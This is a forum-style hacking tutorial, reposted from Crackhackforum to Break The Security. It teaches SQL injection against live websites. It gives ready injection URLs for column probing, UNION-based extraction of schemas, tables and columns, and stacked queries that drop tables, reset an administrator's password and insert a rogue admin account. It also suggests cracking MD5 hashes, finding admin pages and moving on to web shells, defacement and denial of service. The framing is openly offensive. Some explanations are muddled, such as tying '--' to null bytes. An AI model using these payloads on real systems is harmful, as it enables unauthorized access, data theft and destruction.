Hello readers of BTS,
Today I'll write an tutorial for you what covers most problems while doing SQL injection and solutions to them. Probably every person who has looked at tutorials to hack a website have noticed that there are too much SQL tutorials. Almost every forum has 10 tutorials and blogs 5 tutorials about SQL injection, but actually those tutorials are stolen from somewhere else and the author doesn't probably even know why does SQL injection work. All of those tutorials are like textbooks with their ABC's and the result is just a mess. Everyone are writing tutorials about SQL, but nobody covers the problems what will come with that attack.
What is the cause of most problems related to SQL injection?
Webdevelopers aren't always really dumb and they have also heard of hackers and have implemented some security measures like WAF or manual protetion. WAF is an Web application firewall and will block all malicous requests, but WAF's are quite easy to bypass. Nobody would like to have their site hacked and they are also implementing some security, but ofcourse it would be false to say that if we fail then it's the servers fault. There's also a huge possibility that we're injecting otherwise than we should.
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
If you're interested about WAF's and how they're working then I suggest to read it from wikipedia http://en.wikipedia.org/wiki/Application_firewall
Order by is being blocked?
It rarely happens, but sometimes you can't use order by because the WAF has blocked it or some other reasons. Unfortunally we can't skip the order by and we have to find another way. The way is simple, instead of using Order by we have to use Group by because that's very unlikely to be blacklisted by the WAF.
If that request will return 'forbidden' then it means it's blocked.
http://site.com/gallery?id=1 order by 100--Then you have to try to use Group by and it will return correct :
http://site.com/gallery?id=1 group by 100-- / successStill there's an possibility that WAF will block the request, but there's on other way also and that's not very widely known. It's about using ( the main query ) = (select 1)
http://example.org/news.php?id=8 and (select * from admins)=(select 1)Then you'll probably recive an error like this : Operand should contain 5 column(s).
That error means there are 5 columns and it means we can proceed to our next step what's union select. The command was different than usual, but the further injection will be the same.
http://site.com/news.php?id=-8 union select 1,2,3,4,5--
'order by 10000' and still not error?
That's an small chapter where I'll tell you why sometimes order by won't work and you don't see an error. The difference between this capther and the last one is that previously your requests were blocked by the WAF, but here's the injection method is just a littlebit different. When I saw that on my first time then I thought how does a Database have 100000 columns because I'm not getting the error while the site is vulnerable?
The answer is quite logical. By trying order by 1000000 we're not getting the error because there are so many columns in there, we're not getting the error because our injecting isn't working.
Example : site.com/news.php?id=9 order by 10000000000-- [No Error]to bypass this you just have to change the URL littlebit.Add ' after the ID number and at the end just enter +
site.com/news.php?id=9' order by 10000000--+[Error]If the last example is working for you then it means you have to use it in the next steps also, there isn't anything complicated, but to make everything clear I'll still make an example.
http://site.com/news.php?id=-9' union select 1,2,3,4,5,6,7,8--+
Extracting data from other database.
Sometimes we can inject succesfully and there doesn't appear any error, it's just like a hackers dream. That dream will end at the moment when we'll see that there doesn't exist anything useful to us. There are only few tables and are called "News", "gallery" and "articles". They aren't useful at all to us because we'd like to see tables like "Admin" or "Administrator". Still we know that the server probably has several databases and even if we have found the information we're looking for, you should still take a look in the other databases also.
This will give you Schema names.
site.com/news.php?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
And with this code you can get the tables from the schema.
site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x
This code will give you the column names.
site.com/news.php?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables where table_schema=0x
I get error if I try to extract tables.
site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables
Le wild Error appears.
"you have an error in your sql syntax near '' at line 1"
Change the URL for this
site.com/news.php?id=9 union select 1,2,concat(unhex(hex(table_name),4 from information_schema.tables limit 0,1--
How to bypass WAF/Web application firewall
The biggest reason why most of reasons are appearing are because of security measures added to the server and WAF is the biggest reason, but mostly they're made really badly and can be bypassed really easily. Mostly you will get error 404 like it's in the code below, this is WAF. Most likely persons who're into SQL injection and bypassing WAF's are thinking at the moment "Dude, only one bypassing method?", but in this case we both know that bypassing WAF's is different kind of science and I could write a ebook on bypassing these. I'll keep all those bypassing queries to another time and won't cover that this time.
"404 forbidden you do not have permission to access to this webpage"
The code will look like this if you get the error
Change the url Like it's below.
Is it possible to modify the information in the database by SQL injection?
Most of people aren't aware of it, but it's possible. You're able to Update, Drop, insert and select information. Most of people who're dealing with SQL injection has never looked deeper in the attack than shown in the average SQL injection tutorial, but an average SQL injection tutorial doesn't have those statements added. Most likely because most of people are copy&pasting tutorials or just overwriting them. You might ask that why should one update, drop or insert information into the database if I can just look into the information to use the current ones, why should we make another Administrator account if there already exists one?
Reading the information is just one part of the injection and sometimes those other commands what are quite infamous are more powerful than we thought. If you have read all those avalible SQL injection tutorials then you're probably aware that you can read the information, but you didn't knew you're able to modify it. If you have tried SQL injecting then you have probably faced some problems that there aren't administrator account, why not to use the Insert command to add one? There aren't admin page to login, why not to drop the table and all information so nobody could access it? I want to get rid of the current Administrator and can't change his password, why not to use the update commands to change the password of the Administrator?
You have probably noticed that I have talked alot about unneccesary information what you probably don't need to know, but that's an information you need to learn and understand to become a real hacker because you have to learn how SQL databases are working to fiqure it out how those commands are working because you can't find tutorials about it from the network. It's just like math you learn in school, if you won't learn it then you'll be in trouble when you grow up.
Theory is almost over and now let's get to the practice.
Let's say that we're visiting that page and it's vulnerable to SQL injection.
You have to start injecting to look at the tables and columns in them, but let's assume that the current table is named as "News".
With SQL injection you can SELECT, DROP, UPDATE and INSERT information to the database. The SELECT is probably already covered at all the tutorials so let's focus on the other three. Let's start with the DROP command.
I'd like to get rid of a table, how to do it?
http://site.com/news.php?id=1; DROP TABLE news
That seems easy, we have just dropped the table. I'd explain what we did in the above statement, but it's quite hard to explain it because you all can understand the above command. Unfortunally most of 'hackers' who're making tutorials on SQL injection aren't aware of it and sometimes that three words are more important than all the information we can read on some tutorials.
Let's head to the next statement what's UPDATE.
http://site.com/news.php?id=1; UPDATE 'Table name' SET 'data you want to edit' = 'new data' WHERE column_name='information'--
Above explanation might be quite confusing so I'll add an query what you're most likely going to use in real life :
http://site.com/news.php?id=1; UPDATE 'admin_login' SET 'password' = 'Crackhackforum' WHERE login_name='Rynaldo'--
We have just updated Administrator account's password.In the above example we updated the column called 'admin_login" and added a password what is "Crackhackforum" and that credentials belongs to account which's username is Rynaldo. Kinda heavy to explain, but I hope you'll understand.
How does INSERT work?
Luckily "INSERT" isn't that easy as the "DROP" statement is, but still quite understandable. Let's go further with Administrator privileges because that's what most of people are heading to. Adding an administrator account would be like this :
http://site.com/news.php?id=1; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (2,'Rynaldo','Crackhackforum','NA')--
INSERT INTO 'admin_login' means that we're inserting something to 'admin_login'. Now we have to give instructions to the database what exact information we want to add, ('login_id', 'login_name', 'password', 'details') means that the specifications we're adding to the DB are Login_id, Login_name, password and details and those are the information the database needs to create a new account. So far we have told the database what information we want to add, we want to add new account, password to it, account ID and details. Now we have to tell the database what will be the new account's username, it's password and account ID, VALUES (2,'Rynaldo','Crackhackforum','NA')-- . That means account ID is 2, username will be Rynaldo, password of the account will be Crackhackforum. Your new account has been added to the database and all you have to do is opening up the Administrator page and login.
Passwords aren't working
Sometimes the site is vulnerable to SQL and you can get the passwords.Then you can find the sites username and password, but when you enter it into adminpanel then it shows "Wrong password".This can be because those usernames and passwords are there, but aren't working. This is made by site's admin to confuse you and actually the Cpanel doesn't contain any username/password. Sometimes are accounts removed, but the accounts are still in the database. Sometimes it isn't made by the admin and those credentials has been left in the database after removing the login page, sometimes the real credentials has been transfered to another database and old entries hasn't been deleted.
Sometimes i get some weird password
This weird password is called Hash and most likely it's MD5 hash.That means the sites admin has added more security to the website and has encrypted the passwords.Most popular crypting way is using MD5 hash.The best way to crack MD5 hashes is using PasswordsPro or Hashcat because they're the best and can crack the password even if it's really hard or isn't MD5. Also you can use http://md5decrypter.com .I don't like to be a person who's pitching around with small details what aren't correct, but here's an tip what you should keep in mind. The domain is saying it's "md5decryptor" what reffers to decrypting MD5 hashes. Actually it's not possible to decrypt a hash because they're having 'one-way' encryption. One way encryption means it can only be encrypted, but not decrypted. Still it doesn't mean that we can't know what does the hash mean, we have to crack it. Hashes can't be decrypted, only cracked. Those online sites aren't cracking hashes every time, they're saving already cracked hashes & results to their database and if you'll ask an hash what's already in their database, you will get the result. :)
Md5 hash looks like this : 827ccb0eea8a706c4c34a16891f84e7b = 12345
You can read about all Hashes what exist and their description http://pastebin.com/aiyxhQsf
Md5 hashes can't be decrypted, only cracked
How to find admin page of site?
Some sites doesn't contain admin control panel and that means you can use any method for finding the admin page, but that doesn't even exist. You might ask "I got the username and password from the database, why isn't there any admin login page then?", but sometimes they are just left in the database after removing the Cpanel.
Mostly people are using tools called "Admin page finders".They have some specific list of pages and will try them.If the page will give HTTP response 200 then it means the page exists, but if the server responds with HTTP response 404 then it means the page doesn't exist in there.If the page exist what is in the list then tool will say "Page found".I don't have any tool to share at the moment, but if you're downloading it yourself then be beware because there are most of those tools infected with virus's.
Mostly the tools I mentioned above, Admin Page Finders doesn't usually find the administrator page if it's costumly made or renamed. That means quite oftenly those tools doesn't help us out and we have to use an alternative and I think the best one is by using site crawlers. Most of you are probably having Acunetix Web Vulnerability scanner 8 and it has one wonderful feature called site crawler. It'll show you all the pages on the site and will %100 find the login page if there exists one in the page.
Automated SQL injection tools.
Automated SQL injection tools are programs what will do the whole work for you, sometimes they will even crack the hashes and will find the Administrator page for you. Most of people are using automated SQL injection tools and most popular of them are Havij and SQLmap. Havij is being used much more than SQLmap nomatter the other tool is much better for that injection. The sad truth why that's so is that many people aren't even able to run SQLmap and those persons are called script-kiddies. Being a script-kiddie is the worstest thing you can be in the hacking world and if you won't learn how to perform the attack manually and are only using tools then you're one of them. If you're using those tools to perform the attack then most of people will think that you're a script-kiddie because most likely you are. Proffesionals won't take you seriusly if you're injecting with them and you won't become a real hacker neither. My above text might give you an question, "But I've seen that even Proffesional hackers are using SQLmap?" and I'd like to say that everything isn't always black & white. If there are 10 databases, 50 tables in them and 100 columns in the table then it would just take days to proccess all that information.I'm also sometimes using automated tools because it makes my life easier, but to use those tools you first have to learn how to use those tools manually and that's what the tutorial above is teaching you.
Use automated tools only to make your life easier, but don't even look at them if you don't know how to perform the attack manually.
What else can I do with SQL injection besides extracting information?
There are many things besides extracting information from the database and sometimes they are much more powerful. We have talked above that sometimes the database doesn't contain Administrator's credentials or you can't crack the hashes. Then all the injection seems pointless because we can't use the information we have got from the database. Still we can use few another methods. Just like we can conduct CSRF attack with persistent XSS, we can also move to another attacks through SQL injection. One of the solution would be performing DOS attack on the website which is vulnerable to SQL injection. DOS is shortened from Denial of service and it's tottaly different from DDOS what's Distributed Denial of Service. I think that you all probably know what these are, but if I'm taking that attack up with a sentence then DOS will allow us to take down the website temporarely so users wouldn't have access to the site. The other way would be uploading our shell through SQL injection. If you're having a question about what's shell then by saying it shortly, it's a script what we'll upload to the server and it will create an backdoor for us and will give us all the privileges to do what we'd like in the server and sometimes by uploading a shell you're having more rights to modify things than the real Administrator has. After you have uploaded a shell you can move forward to symlink what means we can deface all the sites what are sharing the same server. Shelling the website is probably most powerful thing you can use on the website. I have not covered how to upload a shell through SQL injection and haven't covered how to cause DOS neither, but probably will do in my next tutorials because uploading a shell through SQL is another kind of science, just like bypassing WAF's. Those are the most common methods what attackers will put in use after they can't get anything useful out of the database. Ofcourse every website doesn't have the same vulnerabilities and they aren't responding always like we want and by that I mean we can't perform those attacks on all websites.We have all heard that immagination is unlimited and you can do whatever you'd like. That's kinda true and hacking isn't an exception, there are more ways than I can count.
What to do if all the information doesn't display on the page?
I actually have really rarely seen that there are so much information on the webpage that it all just don't fit in there, but one person recently asked that question from me and I decided to add it here. Also if you're having questions then surely ask and I'll update the article. If we're getting back to the question then the answer is simple, if all the information can't fit in the screen then you have to look at the source code because everything displayed on the webpage will be in there. Also sometimes information will appear in the tab where usually is the site's name. If you can't see the information then sometimes it's hiddened, but with taking a deeper look you might find it from the source. That's why you always have to look all the solutions out before quiting because sometimes you might think "I can't inject into that..", but actually the answer is hiddened in the source.
What is the purpose of '--' in the union+select+1,2,3,4,5-- ?
I suggest to read about null-byte's and here's a good explanation about it : http://en.wikipedia.org/wiki/Null_character because it might give you some hint why -- is being used . Purpose of adding -- in the end of the URL isn't always neccesary and it depends on the target. It doesn't have any influence to the injection because it doesn't mean anything, but it's still being used because it's used as end of query. It means if I'm injecting as : http://site.com/news.php?id=-1 union select 1,2,3,4,5-- asasdasd then the server will skip everything after -- and asasdasd won't be readed. It's just like adding to masking a shell. Sometimes injection isn't working if -- is missing because -- tells the DB that "I'm the end of query, don't read anything what comes after me and execute everything infront of me". It's just like writing a sentence without a dot, people might think it's not the end of your sentence and will wait until you write the other part of the sentence and the end will come if you add the dot to your sentence.
Credits:BTS &BTS readers are really thankful to Rynaldo for submitting such a wonderful article to Break The Security.
Every sentence of this article is written by Crackhackforum.com staff Rynaldo.